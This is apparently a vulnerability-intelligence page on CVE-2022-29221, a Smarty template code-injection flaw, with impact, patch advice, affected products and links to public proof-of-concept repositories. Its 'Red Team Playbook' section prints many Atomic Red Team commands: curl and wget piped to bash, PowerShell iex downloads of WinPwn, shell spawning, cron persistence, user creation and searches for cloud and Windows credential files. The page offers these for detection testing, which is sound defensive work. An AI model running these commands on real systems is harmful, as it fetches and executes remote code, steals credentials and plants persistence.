CVE-2022-29221
Overview
This vulnerability is a code injection flaw rooted in improper sanitization of user-controlled input within Smarty's template engine. Specifically, the {block} and {include} template tags accept names or file paths that are not adequately validated, allowing injection of arbitrary PHP code. The affected component is the template parsing mechanism in Smarty versions prior to 3.1.45 and 4.1.1.
Vulnerability Description
Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.
Impact
An attacker with the ability to author or modify templates can execute arbitrary PHP code on the server, leading to full compromise of the application environment. This requires at least low-level privileges to submit or modify templates (PR:L) but no user interaction (UI:N) is needed. Exploitation can result in data exfiltration, unauthorized access, or service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects network attack vector with low complexity and high impact on confidentiality, integrity, and availability.
Solution
Upgrade Smarty to version 3.1.45 or 4.1.1 or later to apply the official patch addressing this code injection vulnerability. Refer to Debian Security Advisory DSA-5151 and the Smarty GitHub advisory GHSA-634x-pc3q-cf4c for detailed patch instructions. No known workarounds exist; therefore, timely application of these updates is critical to remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Smarty template engine arises from insufficient validation of user-supplied input, specifically in the naming conventions for template blocks and included files. This flaw allows an attacker to inject arbitrary PHP code into the application through crafted block names or file names. The design of Smarty, which aims to separate presentation from application logic, inadvertently creates an avenue for code injection when template authors are not fully trusted. This lack of input sanitization can lead to severe security breaches, as malicious code can be executed on the server, compromising the integrity and confidentiality of the application.
Attack vectors exploiting this vulnerability are varied and can be executed through multiple methods. An attacker could, for instance, create a malicious template that includes a block with a name designed to execute PHP code. If the application does not properly validate or sanitize the input, the server will process this code, potentially leading to unauthorized access, data leakage, or even complete takeover of the web server. Additionally, the exploitation can be compounded in environments where multiple users are allowed to create or modify templates, increasing the risk of untrusted code being executed without adequate oversight.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Smarty for their web applications. The potential for data breaches, unauthorized access to sensitive information, and the ability to manipulate application behavior poses substantial business risks. Companies could face financial losses due to remediation costs, legal liabilities, and damage to their reputation. Furthermore, if exploited, this vulnerability could lead to the deployment of malware or ransomware, exacerbating the threat landscape and potentially impacting customers and stakeholders.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched versions of Smarty, specifically 3.1.45 or 4.1.1, which address the code injection issue. Regular security audits and code reviews should be conducted to ensure that all templates are scrutinized for potential vulnerabilities. Implementing strict access controls and input validation mechanisms can further reduce the risk of exploitation. Additionally, employing web application firewalls (WAFs) can help detect and block malicious requests targeting the application, providing an additional layer of defense against potential attacks.
In conclusion, the vulnerability within the Smarty template engine underscores the importance of secure coding practices and the need for vigilant application security measures. Organizations must remain proactive in their approach to cybersecurity, ensuring that they are not only applying patches but also fostering a culture of security awareness among developers and template authors. By understanding the implications of such vulnerabilities and implementing robust detection and mitigation strategies, businesses can significantly reduce their risk exposure and protect their digital assets from malicious actors.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Smarty | Smarty | All |
cpe:2.3:a:smarty:smarty:*:*:*:*:*:*:*:*
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|
|
Smarty | Smarty | All |
cpe:2.3:a:smarty:smarty:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
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Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
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|
Fedoraproject | Fedora | 36 |
cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 37 |
cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sbani/CVE-2022-29221-PoC
CVE-2022-29221 Proof of Concept Code - Smarty RCE
|
sbani | 16 | 3 | 2022-05-25 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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